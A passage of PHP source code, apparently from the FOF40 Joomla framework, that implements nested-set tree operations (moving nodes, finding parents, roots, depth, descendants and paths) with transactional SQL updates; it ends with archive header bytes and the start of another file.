$db->setQuery($query)->execute(); // Move node and sub-nodes $moveRight = ($sibRight > $myRight) ? $sibRight - $myRight : $sibRight - $myRight + $myWidth; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Alias for moveToRightOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeNextSiblingOf(TreeModel $siblingNode) { return $this->moveToRightOf($siblingNode); } /** * Alias for makeNextSiblingOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeSiblingOf(TreeModel $siblingNode) { return $this->makeNextSiblingOf($siblingNode); } /** * Alias for moveToLeftOf * * @param TreeModel $siblingNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makePreviousSiblingOf(TreeModel $siblingNode) { return $this->moveToLeftOf($siblingNode); } /** * Moves a node and its subtree as a the first (leftmost) child of $parentNode * * @param TreeModel $parentNode * * @return $this for chaining * * @throws \Exception * @throws \RuntimeException */ public function makeFirstChildOf(TreeModel $parentNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $parentRight = $parentNode->rgt; $parentLeft = $parentNode->lft; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newParentLeft = ($parentLeft > $myRight) ? $parentLeft - $myWidth : $parentLeft; $newParentRight = ($parentRight > $myRight) ? $parentRight - $myWidth : $parentRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newParentLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($newParentLeft)); $db->setQuery($query)->execute(); // Move node and sub-nodes $moveRight = $newParentLeft - $myLeft + 1; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Moves a node and its subtree as a the last (rightmost) child of $parentNode * * @param TreeModel $parentNode * * @return $this for chaining * * @throws \Exception * @throws \RuntimeException */ public function makeLastChildOf(TreeModel $parentNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $parentRight = $parentNode->rgt; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newLeft = ($parentRight > $myRight) ? $parentRight - $myWidth : $parentRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' >= ' . $db->q($newLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newLeft)); $db->setQuery($query)->execute(); // Move node and sub-nodes $moveRight = ($parentRight > $myRight) ? $parentRight - $myRight - 1 : $parentRight - $myRight - 1 + $myWidth; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Alias for makeLastChildOf * * @param TreeModel $parentNode * * @return $this for chaining * * @codeCoverageIgnore */ public function makeChildOf(TreeModel $parentNode) { return $this->makeLastChildOf($parentNode); } /** * Makes the current node a root (and moving its entire subtree along the way). This is achieved by moving the node * to the right of its root node * * @return $this for chaining */ public function makeRoot() { // Make sure we are not a root if ($this->isRoot()) { return $this; } // Get a reference to my root $myRoot = $this->getRoot(); // Double check I am not a root if ($this->equals($myRoot)) { return $this; } // Move myself to the right of my root $this->moveToRightOf($myRoot); $this->treeDepth = 0; return $this; } /** * Gets the level (depth) of this node in the tree. The result is cached in $this->treeDepth for faster fetch. * * @return int|mixed * @throws \RuntimeException * */ public function getLevel() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if (is_null($this->treeDepth)) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select('(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - 1) AS ' . $db->qn('depth')) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $this->treeDepth = $db->setQuery($query, 0, 1)->loadResult(); } return $this->treeDepth; } /** * Returns the immediate parent of the current node * * @return static * @throws \RuntimeException * */ public function getParent() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($this->isRoot()) { return $this; } if (empty($this->treeParent) || !is_object($this->treeParent) || !($this->treeParent instanceof TreeModel)) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select($db->qn('parent') . '.' . $fldLft) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->order($db->qn('parent') . '.' . $fldLft . ' DESC'); $targetLft = $db->setQuery($query, 1, 1)->loadResult(); $this->treeParent = $this->getClone()->reset() ->whereRaw($fldLft . ' = ' . $db->q($targetLft)) ->firstOrFail(); } return $this->treeParent; } /** * Is this a top-level root node? * * @return bool */ public function isRoot() { // If lft=1 it is necessarily a root node if ($this->lft == 1) { return true; } // Otherwise make sure its level is 0 return $this->getLevel() == 0; } /** * Is this a leaf node (a node without children)? * * @return bool * @throws \RuntimeException * */ public function isLeaf() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } return $this->rgt - 1 === $this->lft; } /** * Is this a child node (not root)? * * @codeCoverageIgnore * * @return bool */ public function isChild() { return !$this->isRoot(); } /** * Returns true if we are a descendant of $otherNode * * @param TreeModel $otherNode * * @return bool * @throws \RuntimeException * */ public function isDescendantOf(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($otherNode->lft < $this->lft) && ($otherNode->rgt > $this->rgt); } /** * Returns true if $otherNode is ourselves or if we are a descendant of $otherNode * * @param TreeModel $otherNode * * @return bool */ public function isSelfOrDescendantOf(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($otherNode->lft <= $this->lft) && ($otherNode->rgt >= $this->rgt); } /** * Returns true if we are an ancestor of $otherNode * * @codeCoverageIgnore * * @param TreeModel $otherNode * * @return bool */ public function isAncestorOf(TreeModel $otherNode) { return $otherNode->isDescendantOf($this); } /** * Returns true if $otherNode is ourselves or we are an ancestor of $otherNode * * @codeCoverageIgnore * * @param TreeModel $otherNode * * @return bool */ public function isSelfOrAncestorOf(TreeModel $otherNode) { return $otherNode->isSelfOrDescendantOf($this); } /** * Is $node this very node? * * @param TreeModel $node * * @return bool * @throws \RuntimeException * */ public function equals(TreeModel &$node) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($node->lft >= $node->rgt) { throw new TreeInvalidLftRgtOther; } return ( ($this->getId() == $node->getId()) && ($this->lft === $node->lft) && ($this->rgt === $node->rgt) ); } /** * Checks if our node is inside the subtree of $otherNode. This is a fast check as only lft and rgt values have to * be compared. * * @param TreeModel $otherNode * * @return bool * @throws \RuntimeException * */ public function insideSubtree(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($this->lft > $otherNode->lft) && ($this->rgt < $otherNode->rgt); } /** * Returns true if both this node and $otherNode are root, leaf or child (same tree scope) * * @param TreeModel $otherNode * * @return bool */ public function inSameScope(TreeModel $otherNode) { if ($this->isLeaf()) { return $otherNode->isLeaf(); } elseif ($this->isRoot()) { return $otherNode->isRoot(); } elseif ($this->isChild()) { return $otherNode->isChild(); } else { return false; } } /** * get() will not return the selected node if it's part of the query results * * @param TreeModel $node The node to exclude from the results * * @return void */ public function withoutNode(TreeModel $node) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $this->whereRaw('NOT(' . $db->qn('node') . '.' . $fldLft . ' = ' . $db->q($node->lft) . ')'); } /** * Returns the root node of the tree this node belongs to * * @return static * * @throws \RuntimeException */ public function getRoot() { // Empty node, let's try to get the first available root, ie lft=1 if (!$this->getId()) { $this->load(['lft' => 1]); } // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If this is a root node return itself (there is no such thing as the root of a root node) if ($this->isRoot()) { return $this; } if (empty($this->treeRoot) || !is_object($this->treeRoot) || !($this->treeRoot instanceof TreeModel)) { $this->treeRoot = null; // First try to get the record with the minimum ID $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $subQuery = $db->getQuery(true) ->select('MIN(' . $fldLft . ')') ->from($db->qn($this->tableName)); try { $root = $this->getClone()->reset() ->whereRaw($fldLft . ' = (' . $subQuery . ')') ->firstOrFail(); if ($this->isDescendantOf($root)) { $this->treeRoot = $root; } } catch (\RuntimeException $e) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft, 500, $e); } // If the above method didn't work, get all roots and select the one with the appropriate lft/rgt values if (is_null($this->treeRoot)) { // Find the node with depth = 0, lft < our lft and rgt > our right. That's our root node. $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' < ' . $db->q($this->lft)) ->where($db->qn('node') . '.' . $fldRgt . ' > ' . $db->q($this->rgt)) ->having($db->qn('depth') . ' = ' . $db->q(0)) ->group($db->qn('node') . '.' . $fldLft); // Get the lft value $targetLeft = $db->setQuery($query)->loadResult(); if (empty($targetLeft)) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft); } try { $this->treeRoot = $this->getClone()->reset() ->whereRaw($fldLft . ' = ' . $db->q($targetLeft)) ->firstOrFail(); } catch (\RuntimeException $e) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft, 500, $e); } } } return $this->treeRoot; } /** * Get all ancestors to this node and the node itself. In other words it gets the full path to the node and the node * itself. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsAndSelf() { $this->scopeAncestorsAndSelf(); return $this->get(true); } /** * Get all ancestors to this node and the node itself, but not the root node. If you want to * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsAndSelfWithoutRoot() { $this->scopeAncestorsAndSelf(); $this->scopeWithoutRoot(); return $this->get(true); } /** * Get all ancestors to this node but not the node itself. In other words it gets the path to the node, without the * node itself. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestors() { $this->scopeAncestorsAndSelf(); $this->scopeWithoutSelf(); return $this->get(true); } /** * Get all ancestors to this node but not the node itself and its root. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsWithoutRoot() { $this->scopeAncestors(); $this->scopeWithoutRoot(); return $this->get(true); } /** * Get all sibling nodes, including ourselves * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getSiblingsAndSelf() { $this->scopeSiblingsAndSelf(); return $this->get(true); } /** * Get all sibling nodes, except ourselves * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getSiblings() { $this->scopeSiblings(); return $this->get(true); } /** * Get all leaf nodes in the tree. You may want to use the scopes to narrow down the search in a specific subtree or * path. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getLeaves() { $this->scopeLeaves(); return $this->get(true); } /** * Get all descendant (children) nodes and ourselves. * * Note: all descendant nodes, even descendants of our immediate descendants, will be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getDescendantsAndSelf() { $this->scopeDescendantsAndSelf(); return $this->get(true); } /** * Get only our descendant (children) nodes, not ourselves. * * Note: all descendant nodes, even descendants of our immediate descendants, will be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getDescendants() { $this->scopeDescendants(); return $this->get(true); } /** * Get the immediate descendants (children). Unlike getDescendants it only goes one level deep into the tree * structure. Descendants of descendant nodes will not be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getImmediateDescendants() { $this->scopeImmediateDescendants(); return $this->get(true); } /** * Returns a hashed array where each element's key is the value of the $key column (default: the ID column of the * table) and its value is the value of the $column column (default: title). Each nesting level will have the value * of the $column column prefixed by a number of $separator strings, as many as its nesting level (depth). * * This is useful for creating HTML select elements showing the hierarchy in a human readable format. * * @param string $column * @param null $key * @param string $separator * * @return array */ public function getNestedList($column = 'title', $key = null, $separator = ' ') { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); if (empty($key) || !$this->hasField($key)) { $key = $this->getIdFieldName(); } if (empty($column)) { $column = 'title'; } $fldKey = $db->qn($this->getFieldAlias($key)); $fldColumn = $db->qn($this->getFieldAlias($column)); $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldKey, $db->qn('node') . '.' . $fldColumn, '(COUNT(' . $db->qn('parent') . '.' . $fldKey . ') - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $tempResults = $db->setQuery($query)->loadAssocList(); $ret = []; if (!empty($tempResults)) { foreach ($tempResults as $row) { $ret[$row[$key]] = str_repeat($separator, $row['depth']) . $row[$column]; } } return $ret; } /** * Locate a node from a given path, e.g. "/some/other/leaf" * * Notes: * - This will only work when you have a "slug" and a "hash" field in your table. * - If the path starts with "/" we will use the root with lft=1. Otherwise the first component of the path is * supposed to be the slug of the root node. * - If the root node is not found you'll get null as the return value * - You will also get null if any component of the path is not found * * @param string $path The path to locate * * @return TreeModel|null The found node or null if nothing is found */ public function findByPath($path) { // No path? No node. if (empty($path)) { return null; } // Extract the path parts $pathParts = explode('/', $path); $firstElement = array_shift($pathParts); if (!empty($firstElement)) { array_unshift($pathParts, $firstElement); } // Just a slash? Return the root if (empty($pathParts[0])) { return $this->getRoot(); } // Get the quoted field names $db = $this->getDbo(); $fldLeft = $db->qn($this->getFieldAlias('lft')); $fldRight = $db->qn($this->getFieldAlias('rgt')); $fldHash = $db->qn($this->getFieldAlias('hash')); // Get the quoted hashes of the slugs $pathHashesQuoted = []; foreach ($pathParts as $part) { $pathHashesQuoted[] = $db->q(sha1($part)); } // Get all nodes with slugs matching our path $query = $db->getQuery(true) ->select([ $db->qn('node') . '.*', '(COUNT(' . $db->qn('parent') . '.' . $db->qn($this->getFieldAlias('lft')) . ') - 1) AS ' . $db->qn('depth'), ])->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLeft . ' >= ' . $db->qn('parent') . '.' . $fldLeft) ->where($db->qn('node') . '.' . $fldLeft . ' <= ' . $db->qn('parent') . '.' . $fldRight) ->where($db->qn('node') . '.' . $fldHash . ' IN (' . implode(',', $pathHashesQuoted) . ')') ->group($db->qn('node') . '.' . $fldLeft) ->order([ $db->qn('depth') . ' ASC', $db->qn('node') . '.' . $fldLeft . ' ASC', ]); $queryResults = $db->setQuery($query)->loadAssocList(); $pathComponents = []; // Handle paths with (no root slug provided) and without (root slug provided) a leading slash $currentLevel = (substr($path, 0, 1) == '/') ? 0 : -1; $maxLevel = count($pathParts) + $currentLevel; // Initialise the path results array $i = $currentLevel; foreach ($pathParts as $part) { $i++; $pathComponents[$i] = [ 'slug' => $part, 'id' => null, 'lft' => null, 'rgt' => null, ]; } // Search for the best matching nodes $colSlug = $this->getFieldAlias('slug'); $colLft = $this->getFieldAlias('lft'); $colRgt = $this->getFieldAlias('rgt'); $colId = $this->getIdFieldName(); foreach ($queryResults as $row) { if ($row['depth'] == $currentLevel + 1) { if ($row[$colSlug] != $pathComponents[$currentLevel + 1]['slug']) { continue; } if ($currentLevel > 0) { if ($row[$colLft] < $pathComponents[$currentLevel]['lft']) { continue; } if ($row[$colRgt] > $pathComponents[$currentLevel]['rgt']) { continue; } } $currentLevel++; $pathComponents[$currentLevel]['id'] = $row[$colId]; $pathComponents[$currentLevel]['lft'] = $row[$colLft]; $pathComponents[$currentLevel]['rgt'] = $row[$colRgt]; } if ($currentLevel === $maxLevel) { break; } } // Get the last found node $lastNode = array_pop($pathComponents); // If the node exists, return it... if (!empty($lastNode['lft'])) { return $this->getClone()->reset()->where($colLft, '=', $lastNode['lft'])->firstOrFail(); } // ...otherwise return null return null; } /** * Overrides the DataModel's buildQuery to allow nested set searches using the provided scopes * * @param bool $overrideLimits * * @return \JDatabaseQuery */ public function buildQuery($overrideLimits = false) { $db = $this->getDbo(); $query = parent::buildQuery($overrideLimits); // Wipe out select and from sections $query->clear('select'); $query->clear('from'); $query ->select($db->qn('node') . '.*') ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')); if ($this->treeNestedGet) { $query ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')); } return $query; } protected function onAfterDelete($oid) { $db = $this->getDbo(); $myLeft = $this->lft; $myRight = $this->rgt; $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); // Move all siblings to the left $width = $this->rgt - $this->lft + 1; // Wrap everything in a transaction $db->transactionStart(); try { // Shrink lft values $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($fldLft . ' = ' . $fldLft . ' - ' . $width) ->where($fldLft . ' > ' . $db->q($myLeft)); $db->setQuery($query)->execute(); // Shrink rgt values $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($fldRgt . ' = ' . $fldRgt . ' - ' . $width) ->where($fldRgt . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * get() will return all ancestor nodes and ourselves * * @return void */ protected function scopeAncestorsAndSelf() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' >= ' . $db->qn('node') . '.' . $fldLft); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' <= ' . $db->qn('node') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all ancestor nodes but not ourselves * * @return void */ protected function scopeAncestors() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' > ' . $db->qn('node') . '.' . $fldLft); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' < ' . $db->qn('node') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all sibling nodes and ourselves * * @return void */ protected function scopeSiblingsAndSelf() { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $parent = $this->getParent(); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' > ' . $db->q($parent->lft)); $this->whereRaw($db->qn('node') . '.' . $fldRgt . ' < ' . $db->q($parent->rgt)); } /** * get() will return all sibling nodes but not ourselves * * @codeCoverageIgnore * * @return void */ protected function scopeSiblings() { $this->scopeSiblingsAndSelf(); $this->scopeWithoutSelf(); } /** * get() will return only leaf nodes * * @return void */ protected function scopeLeaves() { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' = ' . $db->qn('node') . '.' . $fldRgt . ' - ' . $db->q(1)); } /** * get() will return all descendants (even subtrees of subtrees!) and ourselves * * @return void */ protected function scopeDescendantsAndSelf() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all descendants (even subtrees of subtrees!) but not ourselves * * @return void */ protected function scopeDescendants() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' > ' . $db->qn('parent') . '.' . $fldLft); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' < ' . $db->qn('parent') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will only return immediate descendants (first level children) of the current node * * @return void * @throws \RuntimeException * */ protected function scopeImmediateDescendants() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $subQuery = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(*) - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - (' . $db->qn('sub_tree') . '.' . $db->qn('depth') . ' + 1)) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('sub_parent')) ->join('CROSS', '(' . $subQuery . ') AS ' . $db->qn('sub_tree')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('sub_parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('sub_parent') . '.' . $fldRgt) ->where($db->qn('sub_parent') . '.' . $fldLft . ' = ' . $db->qn('sub_tree') . '.' . $fldLft) ->group($db->qn('node') . '.' . $fldLft) ->having([ $db->qn('depth') . ' > ' . $db->q(0), $db->qn('depth') . ' <= ' . $db->q(1), ]) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $leftValues = $db->setQuery($query)->loadColumn(); if (empty($leftValues)) { $leftValues = [0]; } array_walk($leftValues, function (&$item, $key) use (&$db) { $item = $db->q($item); }); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' IN (' . implode(',', $leftValues) . ')'); } /** * get() will not return ourselves if it's part of the query results * * @codeCoverageIgnore * * @return void */ protected function scopeWithoutSelf() { $this->withoutNode($this); } /** * get() will not return our root if it's part of the query results * * @codeCoverageIgnore * * @return void */ protected function scopeWithoutRoot() { $rootNode = $this->getRoot(); $this->withoutNode($rootNode); } /** * Resets cached values used to speed up querying the tree * * @return static for chaining */ protected function resetTreeCache() { $this->treeDepth = null; $this->treeRoot = null; $this->treeParent = null; $this->treeNestedGet = false; return $this; } } PK���\e�h`�5�5fof40/Model/Model.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Input\Input; use FOF40\Model\Exception\CannotGetName; use Joomla\CMS\Filter\InputFilter; /** * Class Model * * 